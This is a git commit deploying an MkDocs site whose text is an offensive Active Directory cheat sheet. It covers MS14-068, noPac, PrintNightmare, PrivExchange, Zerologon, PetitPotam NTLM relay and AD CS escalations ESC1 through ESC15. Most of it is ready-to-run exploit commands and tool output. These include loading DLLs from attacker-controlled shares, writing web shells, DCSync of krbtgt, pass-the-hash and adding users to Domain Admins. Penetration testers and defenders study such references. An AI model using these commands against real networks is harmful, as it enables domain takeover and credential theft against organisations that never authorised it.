commit a31cda7b0bd07ffccb41e5385aa163db7ef1c04a Author: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> Date: Sat Oct 26 14:39:40 2024 +0000 Deployed 04842b5 with MkDocs version: 1.6.1 diff --git a/.nojekyll b/.nojekyll new file mode 100644 index 0000000..e69de29 diff --git a/404.html b/404.html new file mode 100644 index 0000000..692ee92 --- /dev/null +++ b/404.html @@ -0,0 +1,3636 @@ + + + +
+ + + + + + + + + + + + + + + + +This exploit require to know the user SID, you can use rpcclient
to remotely get it or wmi
if you have an access on the machine.
wmic useraccount get name,sid
+Administrator S-1-5-21-3415849876-833628785-5197346142-500
+Guest S-1-5-21-3415849876-833628785-5197346142-501
+Administrator S-1-5-21-297520375-2634728305-5197346142-500
+Guest S-1-5-21-297520375-2634728305-5197346142-501
+krbtgt S-1-5-21-297520375-2634728305-5197346142-502
+lambda S-1-5-21-297520375-2634728305-5197346142-1110
+
netexec ldap DC1.lab.local -u username -p password -k --get-sid
Generate a ticket with metasploit
or pykek
Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ DOMAIN LABDOMAIN.LOCAL yes The Domain (upper case) Ex: DEMO.LOCAL
+ PASSWORD P@ssw0rd yes The Domain User password
+ RHOSTS 10.10.10.10 yes The target address range or CIDR identifier
+ RPORT 88 yes The target port
+ Timeout 10 yes The TCP timeout to establish connection and read data
+ USER lambda yes The Domain User
+ USER_SID S-1-5-21-297520375-2634728305-5197346142-1106 yes The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000
+
# Alternative download: https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek
+$ git clone https://github.com/SecWiki/windows-kernel-exploits
+$ python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
+$ python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
+$ python ./ms14-068.py -u john.smith@pwn3d.local -s S-1-5-21-2923581646-3335815371-2872905324-1107 -d 192.168.115.10
+$ python ms14-068.py -u user01@metasploitable.local -d msfdc01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066
+-1105
+ [+] Building AS-REQ for msfdc01.metasploitable.local... Done!
+ [+] Sending AS-REQ to msfdc01.metasploitable.local... Done!
+ [+] Receiving AS-REP from msfdc01.metasploitable.local... Done!
+ [+] Parsing AS-REP from msfdc01.metasploitable.local... Done!
+ [+] Building TGS-REQ for msfdc01.metasploitable.local... Done!
+ [+] Sending TGS-REQ to msfdc01.metasploitable.local... Done!
+ [+] Receiving TGS-REP from msfdc01.metasploitable.local... Done!
+ [+] Parsing TGS-REP from msfdc01.metasploitable.local... Done!
+ [+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done!
+
Then use mimikatz
to load the ticket.
++During S4U2Self, the KDC will try to append a '\$' to the computer name specified in the TGT, if the computer name is not found. An attacker can create a new machine account with the sAMAccountName set to a domain controller's sAMAccountName - without the '\$'. For instance, suppose there is a domain controller with a sAMAccountName set to 'DC\$'. An attacker would then create a machine account with the sAMAccountName set to 'DC'. The attacker can then request a TGT for the newly created machine account. After the TGT has been issued by the KDC, the attacker can rename the newly created machine account to something different, e.g. JOHNS-PC. The attacker can then perform S4U2Self and request a ST to itself as any user. Since the machine account with the sAMAccountName set to 'DC' has been renamed, the KDC will try to find the machine account by appending a '$', which will then match the domain controller. The KDC will then issue a valid ST for the domain controller.
+
Requirements
+Check for exploitation
+Exploitation
+impacket@linux> addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'
+
+powermad@windows> . .\Powermad.ps1
+powermad@windows> $password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
+powermad@windows> New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose
+
+sharpmad@windows> Sharpmad.exe MAQ -Action new -MachineAccount ControlledComputer -MachinePassword ComputerPassword
+
servicePrincipalName
attribute
+ sAMAccountName
to a Domain Controller's name without the trailing $
+ # https://github.com/SecureAuthCorp/impacket/pull/1224
+impacket@linux> renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'
+
+powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose
+
S4U2self
by presenting the TGT obtained before
+ # https://github.com/SecureAuthCorp/impacket/pull/1202
+impacket@linux> KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'
+
+cmd@windows> Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]
+
KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'
Automated exploitation:
+noPac.exe scan -domain htb.local -user user -pass 'password123'
+noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt
+noPac.exe -domain htb.local -user domain_user -pass "Password123!" /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service ldaps /ptt /impersonate Administrator
+
$ python3 sam_the_admin.py "domain/user:password" -dc-ip 10.10.10.10 -shell
+[*] Selected Target dc.caltech.white
+[*] Total Domain Admins 11
+[*] will try to impersonat gaylene.dreddy
+[*] Current ms-DS-MachineAccountQuota = 10
+[*] Adding Computer Account "SAMTHEADMIN-11$"
+[*] MachineAccount "SAMTHEADMIN-11$" password = EhFMT%mzmACL
+[*] Successfully added machine account SAMTHEADMIN-11$ with password EhFMT%mzmACL.
+[*] SAMTHEADMIN-11$ object = CN=SAMTHEADMIN-11,CN=Computers,DC=caltech,DC=white
+[*] SAMTHEADMIN-11$ sAMAccountName == dc
+[*] Saving ticket in dc.ccache
+[*] Resting the machine account to SAMTHEADMIN-11$
+[*] Restored SAMTHEADMIN-11$ sAMAccountName to original value
+[*] Using TGT from cache
+[*] Impersonating gaylene.dreddy
+[*] Requesting S4U2self
+[*] Saving ticket in gaylene.dreddy.ccache
+[!] Launching semi-interactive shell - Careful what you execute
+C:\Windows\system32>whoami
+nt authority\system
+
usage: pachine.py [-h] [-scan] [-spn SPN] [-impersonate IMPERSONATE] [-domain-netbios NETBIOSNAME] [-computer-name NEW-COMPUTER-NAME$] [-computer-pass password] [-debug] [-method {SAMR,LDAPS}] [-port {139,445,636}] [-baseDN DC=test,DC=local]
+ [-computer-group CN=Computers,DC=test,DC=local] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] -dc-host hostname [-dc-ip ip]
+ [domain/]username[:password]
+$ python3 pachine.py -dc-host dc.domain.local -scan 'domain.local/john:Passw0rd!'
+$ python3 pachine.py -dc-host dc.domain.local -spn cifs/dc.domain.local -impersonate administrator 'domain.local/john:Passw0rd!'
+$ export KRB5CCNAME=$PWD/administrator@domain.local.ccache
+$ impacket-psexec -k -no-pass 'domain.local/administrator@dc.domain.local'
+
Mitigations:
+++CVE-2021-1675 / CVE-2021-34527
+
The DLL will be stored in C:\Windows\System32\spool\drivers\x64\3\
.
+The exploit will execute the DLL either from the local filesystem or a remote share.
Requirements:
+Pre Windows 2000 Compatibility
groupHKEY_CURRENT_USER\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\NoWarningNoElevationOnInstall
= (DWORD) 1HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA
= (DWORD) 0Detect the vulnerability:
+Payload Hosting:
+When using WebDav instead of SMB, you must add @[PORT]
to the hostname in the URI, e.g.: \\172.16.1.5@8888\Downloads\beacon.dll
+WebDav client must be activated on exploited target. By default it is not activated on Windows workstations (you have to net start webclient
) and it's not installed on servers. Here is how to detect activated webdav:
Trigger the exploit:
+# require a modified Impacket: https://github.com/cube0x0/impacket
+python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\192.168.1.215\smb\addCube.dll'
+python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 'C:\addCube.dll'
+## LPE
+SharpPrintNightmare.exe C:\addCube.dll
+## RCE using existing context
+SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'
+## RCE using runas /netonly
+SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' hackit.local domain_user Pass123
+
## LPE only (PS1 + DLL)
+Import-Module .\cve-2021-1675.ps1
+Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
+Invoke-Nightmare -DriverName "Dementor" -NewUser "d3m3nt0r" -NewPassword "AzkabanUnleashed123*"
+Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"
+
Debug informations
+Error | +Message | +Debug | +
---|---|---|
0x5 | +rpc_s_access_denied |
+Permissions on the file in the SMB share | +
0x525 | +ERROR_NO_SUCH_USER |
+The specified account does not exist. | +
0x180 | +unknown error code | +Share is not SMB2 | +
Exchange your privileges for Domain Admin privs by abusing Exchange.
+ You need a shell on a user account with a mailbox.
Exchange server hostname or IP address
+ +Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket).
+ +Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. Forcing the Exchange server's to send back its NTLMv2 hash to a controlled machine.
+# https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
+python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx
+python privexchange.py -ah 10.0.0.2 mail01.domain.local -d domain.local -u user_exchange -p pass_exchange
+
+# https://github.com/G0ldenGunSec/PowerPriv
+powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016
+
Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash
+ +Clean your mess and restore a previous state of the user's ACL
+ +Alternatively you can use the Metasploit module
+use auxiliary/scanner/http/exchange_web_server_pushsubscription
Alternatively you can use an all-in-one tool : Exchange2domain.
+git clone github.com/Ridter/Exchange2domain
+python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d domain.com -th DCip MailServerip
+python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip --just-dc-user krbtgt MailServerip
+
++CVE-2020-1472
+
White Paper from Secura : https://www.secura.com/pathtoimg.php?id=2055
+Exploit steps from the white paper
+reset the computer's AD password in a proper way to avoid any Deny of Service
+cve-2020-1472-exploit.py
- Python script from dirkjanm
+
# Check (https://github.com/SecuraBV/CVE-2020-1472)
+ proxychains python3 zerologon_tester.py DC01 172.16.1.5
+
+$ git clone https://github.com/dirkjanm/CVE-2020-1472.git
+
+# Activate a virtual env to install impacket
+$ python3 -m venv venv
+$ source venv/bin/activate
+$ pip3 install .
+
+# Exploit the CVE (https://github.com/dirkjanm/CVE-2020-1472/blob/master/cve-2020-1472-exploit.py)
+proxychains python3 cve-2020-1472-exploit.py DC01 172.16.1.5
+
+# Find the old NT hash of the DC
+proxychains secretsdump.py -history -just-dc-user 'DC01$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'CORP/DC01$@DC01.CORP.LOCAL'
+
+# Restore password from secretsdump
+# secretsdump will automatically dump the plaintext machine password (hex encoded)
+# when dumping the local registry secrets on the newest version
+python restorepassword.py CORP/DC01@DC01.CORP.LOCAL -target-ip 172.16.1.5 -hexpass e6ad4c4f64e71cf8c8020aa44bbd70ee711b8dce2adecd7e0d7fd1d76d70a848c987450c5be97b230bd144f3c3
+deactivate
+
nccfsas
- .NET binary for Cobalt Strike's execute-assembly
+
git clone https://github.com/nccgroup/nccfsas
+# Check
+execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local
+
+# Resetting the machine account password
+execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -reset
+
+# Testing from a non Domain-joined machine
+execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -patch
+
+# Now reset the password back
+
Mimikatz
- 2.2.0 20200917 Post-Zerologon
+
privilege::debug
+# Check for the CVE
+lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$
+
+# Exploit the CVE and set the computer account's password to ""
+lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ /exploit
+
+# Execute dcsync to extract some hashes
+lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:krbtgt /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
+lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:Administrator /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
+
+# Pass The Hash with the extracted Domain Admin hash
+sekurlsa::pth /user:Administrator /domain:LAB /rc4:HASH_NTLM_ADMIN
+
+# Use IP address instead of FQDN to force NTLM with Windows APIs
+# Reset password to Waza1234/Waza1234/Waza1234/
+# https://github.com/gentilkiwi/mimikatz/blob/6191b5a8ea40bbd856942cbc1e48a86c3c505dd3/mimikatz/modules/kuhl_m_lsadump.c#L2584
+lsadump::postzerologon /target:10.10.10.10 /account:DC01$
+
netexec
- only check
+
A 2nd approach to exploit zerologon is done by relaying authentication.
+This technique, found by dirkjanm, requires more prerequisites but has the advantage of having no impact on service continuity.
+The following prerequisites are needed:
+* A domain account
+* One DC running the PrintSpooler
service
+* Another DC vulnerable to zerologon
ntlmrelayx
- from Impacket and any tool such as printerbug.py
+ # Check if one DC is running the PrintSpooler service
+rpcdump.py 10.10.10.10 | grep -A 6 "spoolsv"
+
+# Setup ntlmrelay in one shell
+ntlmrelayx.py -t dcsync://DC01.LAB.LOCAL -smb2support
+
+#Trigger printerbug in 2nd shell
+python3 printerbug.py 'LAB.LOCAL'/joe:Password123@10.10.10.10 10.10.10.12
+
Active Directory Certificate Services (AD CS) is a Microsoft Windows server role that provides a public key infrastructure (PKI). It allows you to create, manage, and distribute digital certificates, which are used to secure communication and transactions across a network.
+netexec ldap domain.lab -u username -p password -M adcs
ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName
certutil.exe -config - -ping
, certutil -dump
CT_FLAG_SUBJECT_ALT_REQUIRE_DNS
or CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS
): only principals with their dNSHostName
attribute set can enroll.dNSHostName
. dNSHostName
attribute set when you domain-join a computer, but the attribute is null if you simply create a computer object in AD. Computers have validated write to their dNSHostName
attribute meaning they can add a DNS name matching their computer name.
Email required (CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL
or CT_FLAG_SUBJECT_REQUIRE_EMAIL
): only principals with their mail
attribute set can enroll unless the template is of schema version 1.
mail
attribute set, and they cannot modify this attribute themselves.mail
attribute set, but it is rare for computers.++Domain Users can enroll in the VulnTemplate template, which can be used for client authentication and has ENROLLEE_SUPPLIES_SUBJECT set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.
+
Requirements
+Exploitation
+Certify.exe find /vulnerable
+Certify.exe find /vulnerable /currentuser
+# or
+PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
+# or
+certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
+# or
+python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=lab,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))'
+
# request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.
+Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
+certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --alt-name han --template UserSAN
+certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local'
+
WARNING: These certificates will still be usable even if the user or computer resets their password!
+NOTE: Look for EDITF_ATTRIBUTESUBJECTALTNAME2, CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, ManageCA flags, and NTLM Relay to AD CS HTTP Endpoints.
+Requirements
+Exploitation
+PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
+# or
+python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=megacorp,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))'
+
/altname
as a domain admin like in ESC1.++ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users
+
++Enabling the
+mspki-certificate-name-flag
flag for a template that allows for domain authentication, allow attackers to "push a misconfiguration to a template leading to ESC1 vulnerability
WriteProperty
with value 00000000-0000-0000-0000-000000000000
using modifyCertTemplate
+ ENROLLEE_SUPPLIES_SUBJECT
(ESS) flag to perform ESC1
+ Using Certipy
+# overwrite the configuration to make it vulnerable to ESC1
+certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old
+# request a certificate based on the ESC4 template, just like ESC1.
+certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC4' -alt 'administrator@corp.local'
+# restore the old configuration
+certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json
+
++Escalate the privileges from Domain Administrator in the child domain into Enterprise Administrator at the forest root.
+
Requirements:
+pKIEnrollmentService
objectExploitation:
+PsExec
to launch mmc
as SYSTEM on the child DC: psexec.exe /accepteula -i -s mmc
certsrv.msc
as SYSTEM and duplicate an existing templatecertificateTemplate
property of CN=Services
>CN=Public Key Services
>CN=Enrollment Services
>pkiEnrollmentService
++If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.
+
Exploitation
+EDITF_ATTRIBUTESUBJECTALTNAME2
flag.
+ User
template doesn't normally allow to specify alternative names
+ Mitigation
+certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2
Exploitation
+ManageCA
or Manage Certificates
permissions
+ Alternative exploitation from ManageCA to RCE on ADCS server:
+# Get the current CDP list. Useful to find remote writable shares:
+Certify.exe writefile /ca:SERVER\ca-name /readonly
+
+# Write an aspx shell to a local web directory:
+Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx
+
+# Write the default asp shell to a local web directory:
+Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp
+
+# Write a php shell to a remote web directory:
+Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php
+
++An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.
+
Require Impacket PR #1101
+Version 1: NTLM Relay + Rubeus + PetitPotam +
impacket> python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs
+impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template VulnTemplate
+# For a member server or workstation, the template would be "Computer".
+# Other templates: workstation, DomainController, Machine, KerberosAuthentication
+
+# Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam
+# You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN
+git clone https://github.com/topotam/PetitPotam
+python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
+python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP
+python3 dementor.py <listener> <target> -u <username> -p <password> -d <domain>
+python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local
+
+# Use the certificate with rubeus to request a TGT
+Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
+Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt
+
+# Now you can use the TGT to perform a DCSync
+mimikatz> lsadump::dcsync /user:krbtgt
+
Version 2: NTLM Relay + Mimikatz + Kekeo +
impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
+
+# Mimikatz
+mimikatz> misc::efs /server:dc.lab.local /connect:<IP> /noauth
+
+# Kekeo
+kekeo> base64 /input:on
+kekeo> tgt::ask /pfx:<BASE64-CERT-FROM-NTLMRELAY> /user:dc$ /domain:lab.local /ptt
+
+# Mimikatz
+mimikatz> lsadump::dcsync /user:krbtgt
+
Version 3: Kerberos Relay +
+Version 4: ADCSPwn - Require WebClient
service running on the domain controller. By default this service is not installed.
+
https://github.com/bats3c/ADCSPwn
+adcspwn.exe --adcs <cs server> --port [local port] --remote [computer]
+adcspwn.exe --adcs cs.pwnlab.local
+adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001
+adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txt
+adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local
+
+# ADCSPwn arguments
+adcs - This is the address of the AD CS server which authentication will be relayed to.
+secure - Use HTTPS with the certificate service.
+port - The port ADCSPwn will listen on.
+remote - Remote machine to trigger authentication from.
+username - Username for non-domain context.
+password - Password for non-domain context.
+dc - Domain controller to query for Certificate Templates (LDAP).
+unc - Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) .
+output - Output path to store base64 generated crt.
+
Version 5: Certipy ESC8 +
+Requirements
+StrongCertificateBindingEnforcement
set to 1
(default) or 0
CT_FLAG_NO_SECURITY_EXTENSION
flag in the msPKI-Enrollment-Flag
valueAny Client
authentication EKUGenericWrite
over any account A to compromise any account BScenario
+John@corp.local has GenericWrite over Jane@corp.local, and we want to compromise Administrator@corp.local. +Jane@corp.local is allowed to enroll in the certificate template ESC9 that specifies the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value.
+@corp.local
part
+ ++Encryption is not enforced for ICPR requests and Request Disposition is set to Issue.
+
Requirements:
+Exploitation:
+Enforce Encryption for Requests: Disabled
in certipy find -u user@dc1.lab.local -p 'REDACTED' -dc-ip 10.10.10.10 -stdout
outputThe ESC12 vulnerability occurs when a Certificate Authority (CA) stores its private key on a YubiHSM2 device, which requires an authentication key (password) to access. This password is stored in the registry in cleartext, allowing an attacker with shell access to the CA server to recover the private key.
+Unlocking the YubiHSM with the plaintext password in the registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword
.
certutil -sign ...
++If a principal (user or computer) has enrollment rights on a certificate template configured with an issuance policy that has an OID group link, then this principal can enroll a certificate that allows obtaining access to the environment as a member of the group specified in the OID group link.
+
Requirements
+PS C:\> $ESC13Template = Get-ADObject "CN=ESC13Template,$TemplateContainer" -Properties nTSecurityDescriptor $ESC13Template.nTSecurityDescriptor.Access | ? {$_.IdentityReference -eq "DUMPSTER\ESC13User"}
+AccessControlType : Allow
+
+# check if there is an issuance policy in the msPKI-Certificate-Policy
+PS C:\> Get-ADObject "CN=ESC13Template,$TemplateContainer" -Properties msPKI-Certificate-Policy
+msPKI-Certificate-Policy : {1.3.6.1.4.1.311.21.8.4571196.1884641.3293620.10686285.12068043.134.3651508.12319448}
+
+# check for OID group link
+PS C:\> Get-ADObject "CN=12319448.2C2B96A74878E00434BEDD82A61861C5,$OIDContainer" -Properties DisplayName,msPKI-Cert-Template-OID,msDS-OIDToGroupLink
+msDS-OIDToGroupLink : CN=ESC13Group,OU=Groups,OU=Tier0,DC=dumpster,DC=fire
+
+# verify if ESC13Group is a Universal group
+PS C:\> Get-ADGroup ESC13Group -Properties Members
+GroupScope : Universal
+Members : {}
+
Exploitation:
+Request a certificate for the vulnerable template +
+Merge into a PFX file +
+Verify the presence of the "Client Authentication" and the "Policy Identifier" +
+Ask a TGT for our user, but we are also member of the linked group and inherited their privileges +
+Requirements
+Exploitation:
+Detect the vulnerability from BloodHound data using the following cypher query.
+MATCH p=(:Base)-[:MemberOf*0..]->()-[:Enroll|AllExtendedRights]->(ct:CertTemplate)-[:PublishedTo]->(:EnterpriseCA)-[:TrustedForNTAuth]->(:NTAuthStore)-[:NTAuthStoreFor]->(:Domain) WHERE ct.enrolleesuppliessubject = True AND ct.authenticationenabled = False AND ct.requiresmanagerapproval = False AND ct.schemaversion = 1 RETURN p
+
The Application Policies extension is a proprietary certificate extension with the OID 1.3.6.1.4.1.311
, same as x509 EKUs. It was designed to allow users to specify additional use cases for certificates by utilizing the same OIDs as those in the Enhanced Key Usage extension.
+If there is a conflict between an Application Policy and an EKU, then Microsoft prefers the proprietary Application Policy.
++"Application policy is Microsoft specific and is treated much like Extended Key Usage. If a certificate has an extension containing an application policy and also has an EKU extension, the EKU extension is ignored." - Microsoft
+
When a user requests a certificate based on a schema version 1 template and includes an application policy, the policy is incorporated into the certificate. This allows users to specify arbitrary EKUs, bypassing the requirements for ESC2.
+ESC1 - The WebServer template is enabled by default in ADCS, requires a user-supplied SAN and only has the Server Authentication
EKU. Using ly4k/Certipy PR #228, we can add the Client Authentication
EKU to WebServer
. Anybody with the Enroll
permission on this template can now compromise the domain.
certipy req -dc-ip 10.10.10.10 -ca CA -target-ip 10.10.10.11 -u user@domain.com -p 'P@ssw0rd' -template WebServer -upn Administrator@domain.com --application-policies 'Client Authentication'
+certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -ldap-shell
+
+# in LDAP shell
+add_user pentest_user
+add_user_to_group pentest_user "Domain Admins"
+
ESC2/ESC3 - Certificate Request Agent (1.3.6.1.4.1.311.20.2.1
),
certipy -req -u user@domain.com -p 'P@ssw0rd' --application-policies "1.3.6.1.4.1.311.20.2.1" -ca "Lab Root CA" -template WebServer -dc-ip 10.10.10.10 -target-ip 10.10.10.11
+certipy -req -u user@domain.com -p 'P@ssw0rd' -on-behalf-of DOMAIN\\Administrator -Template User -ca "Lab Root CA" -pfx user.pfx -dc-ip 10.10.10.10 -target-ip 10.10.10.11
+certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
+
++An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege.
+
ms-DS-MachineAccountQuota
+ MachineAccountQuota = 10
+ SYSTEM
and the MachineAccountQuota=0
: Use a ticket for the current machine and reset its SPN
+ dNSHostName
attribute to match the Domain Controller hostname
+ certipy auth -pfx ./dc.pfx -dc-ip 10.10.10.10
+
+openssl pkcs12 -in dc.pfx -out dc.pem -nodes
+bloodyAD -d lab.local -c ":dc.pem" -u 'cve$' --host 10.10.10.10 add rbcd 'CRASHDC$' 'CVE$'
+getST.py -spn LDAP/CRASHDC.lab.local -impersonate Administrator -dc-ip 10.10.10.10 'lab.local/cve$:CVEPassword1234*'
+secretsdump.py -user-status -just-dc-ntlm -just-dc-user krbtgt 'lab.local/Administrator@dc.lab.local' -k -no-pass -dc-ip 10.10.10.10 -target-ip 10.10.10.10
+
++Pass the Certificate in order to get a TGT, this technique is used in "UnPAC the Hash" and "Shadow Credential"
+
# Information about a cert file
+certutil -v -dump admin.pfx
+
+# From a Base64 PFX
